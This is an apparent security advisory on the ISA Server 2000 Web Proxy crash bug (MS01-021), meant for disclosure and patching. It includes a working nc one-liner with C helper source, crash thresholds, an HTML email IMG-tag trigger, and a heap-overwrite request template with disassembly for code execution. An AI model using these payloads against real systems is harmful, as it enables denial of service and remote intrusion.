COMMAND
ISA Server Web Proxy Service
SYSTEMS AFFECTED
ISA Server 2000
PROBLEM
The ISA Server Web Proxy service does not correctly handle web
requests that contain a particular type of malformed argument.
Processing such a request would result in an access violation,
which would cause the Web Proxy service to fail. This would
disrupt all ingoing and outgoing web proxy requests until the
service was restarted.
Mitigating Factors:
- The vulnerability could be exploited from the Internet only
if the Web Publishing feature were enabled. By default, this
feature is disabled.
- The vulnerability would not enable an attacker to breach the
security of the firewall - that is, it would not enable the
attacker to access protected resources or bypass the firewall.
It would only enable the attacker to deny legitimate service
to other users.
- The vulnerability would only allow the Web Proxy service to be
disrupted. Other ISA services would continue functioning
normally.
Acknowledgment goes to Dr. Richard Reiner, Graham Wiseman, Matthew
Siemens, and Kent Nicolson of FSC Internet Corp./SecureXpert Labs.
Here is what they had to say (SX-20010320-2).
Microsoft ISA Server 1.0 on Windows 2000 Server SP1 is vulnerable
to a simple network-based attack which stops all incoming and
outgoing web traffic from passing through the firewall until the
firewall is rebooted or the affected service is restarted. If the
firewall is configured to use the "Web Publishing" feature
(inbound HTTP proxy to a web server), this attack can be performed
remotely.
Microsoft ISA server includes a web proxy component (W3PROXY.EXE)
that is used for both the "publishing" of internal web servers to
the external network and for proxying of internal requests to
external web servers. Sending a URL with a long pathname
component to this proxy will cause it to terminate with an access
violation error. For example, sending the (valid) HTTP request:
GET http://hostname/aaa[3000 more occurences of 'a'] HTTP/1.0\n\n
to port 80 on the ISA Server's external interface will cause
W3PROXY.EXE to terminate with an access violation. This can
easily be reproduced from a Linux system by using the following
simple shell command:
printf 'GET http://${HOST}/%s HTTP/1.0\n\n' `./repeat ${x} ${y}` | nc ${HOST} 80
where:
- printf is the shell utility of that name
- ${HOST} is an environment variable set to a hostname which
resolves to the external IP of the ISA server
- ./repeat is the simple C program whose source is given below
- ${x} is the ASCII value of the character to insert into the
generated URL
- ${y} is the number of repetions of ${x}
The `repeat' program can be compiled from the following simple C
source:
/*
* repeat.c -- quick-n-dirty hack to output argv[2] instances of the
* character whose ASCII value is given as argv[1]
*
* WARNING - this has absolutely no error checking!
*/
#include <stdio.h>
main (int argc, char **argv) {
int character;
long repetitions, i;
if ( argc != 3 ) {
printf("usage: repeat char reps\n");
exit(1);
}
character = atoi(argv[1]);
repetitions = atol(argv[2]);
for (i = 0L; i < repetitions; i++) {
printf ("%c", character);
}
}
The behaviour of W3PROXY.EXE is dependent both on the value of
${x} and the value of ${y}. With ${x} of 55, the following
behavious is observed based on the value of ${y}:
100: processes correctly, returns "404 Object Not Found" from target web server.
200: returns 404
250: returns 404
254: returns 404
255: returns "414 URL Too Long"
260: returns 414
300: returns 414
2000: returns 414
2100: returns 414
2200: returns 414
2300: returns 414
2300, repeated several times: W3PROXY.EXE grows to 128MB of process size and
is then terminated with an access violation.
2350: W3PROXY.EXE is terminated on the first attempt.
All larger values: as 2350, above.
With different values of ${x}, different behaviour is observed for
some values of ${y}. This, along with preliminary analyis of the
Dr. Watson logs generated upon termination of W3PROXY.EXE,
initially suggested that an exploitable overflow may have been
present. However, source code analysis by Microsoft has indicated
that only a heap overflow is present, and therefore that this
vulnerability is not exploitable beyond denial of service.
Several individuals have pointed out an easier exploit scenario
for this vulnerability, which additionally does NOT require the
Web Publishing feature of ISA server to be active. The new
exploit consists simply of sending an HTML email message
containing an IMG tag with a SRC value URL of the form described
in above to a recipient within the protected network. When this
message is read, the recipient's web browser will generate an HTTP
request which will trigger the W3PROXY.EXE access violation and
therefore the denial of service.
<img src=http://hostname/aaa[3000 more occurences of 'a']>
Another variation involves sending an HTML email message
containing Javascript or VBScript which generates such a URL
request to a recipient within the protected network. However,
some web browsers may be configured not to execute Javascript
VBScript within the context of an email message.
'dark spyrit' added following. After reading the advisory
provided by the SecureXpert team he decided to look for himself.
Going by the info they provided and a few slight buffer
modifications we found ourselves breaking at this point..
.text:0101D726 mov ecx, [eax]
.text:0101D728 push edi
.text:0101D729 mov edi, eax
.text:0101D72B mov eax, [eax+4]
.text:0101D72E push esi
.text:0101D72F mov [eax], ecx
.text:0101D731 mov [ecx+4], eax
.text:0101D734 call ds:LeaveCriticalSection
.text:0101D73A mov eax, edi
.text:0101D73C pop edi
.text:0101D73D pop esi
.text:0101D73E retn
It takes a bit of register fiddling to get somewhere.. but is
certainly do-able.
The data at the offset of eax is referencing the tail end of the
user buffer sent (2 dwords). You can see by the code that you can
now write to any writeable memory location with any data you wish
- stored return address, saved exception handler.. whatever.
The heap corruption makes exploiting this a slightly random and
volatile exercise.. but we've had success getting code executing.
Request - GET http://host/<2338 x nop><offset to user buffer><stored ret address>
He found he needed to send this request twice to reach the code
location where we are able to execute our buffer.. the heap
corruption can lead to random crash locations - but we hit this
point more often than not - the fact is, it is possible.
EAX=41414141 EBX=02492394 ECX=78787878 EDX=0105B9F8 ESI=0105B9F8
EDI=024A25F0 EBP=0621FE1C ESP=0621FDF8 EIP=0101D72F o d I s z A p c
CS=001B DS=0023 SS=0023 ES=0023 FS=0038 GS=0000 ds:41414141=FFFFFFFF
001b:0101d72f mov [eax], ecx
001b:0101d731 mov [ecx+04], eax
001b:0101d734 call [ntdll!RtlLeaveCriticalSection]
001b:0101d73a mov eax, edi
001b:0101d73c pop edi
001b:0101d73d pop esi
001b:0101d73e ret
(PASSIVE)-KTEB(854083E0)-TID(05C4)--W3PROXY!.text+0001C741----------
As you can see we are able to define the values of ecx and eax...
we can write whatever data we want to a location of our choosing.
By overwriting eax with a saved return address and ecx with the
address of our buffer we can execute our code.
SOLUTION
A patch is available to fix this vulnerability. Please read
Security Bulletin:
http://www.microsoft.com/technet/security/bulletin/ms01-021.asp
for information on obtaining this patch.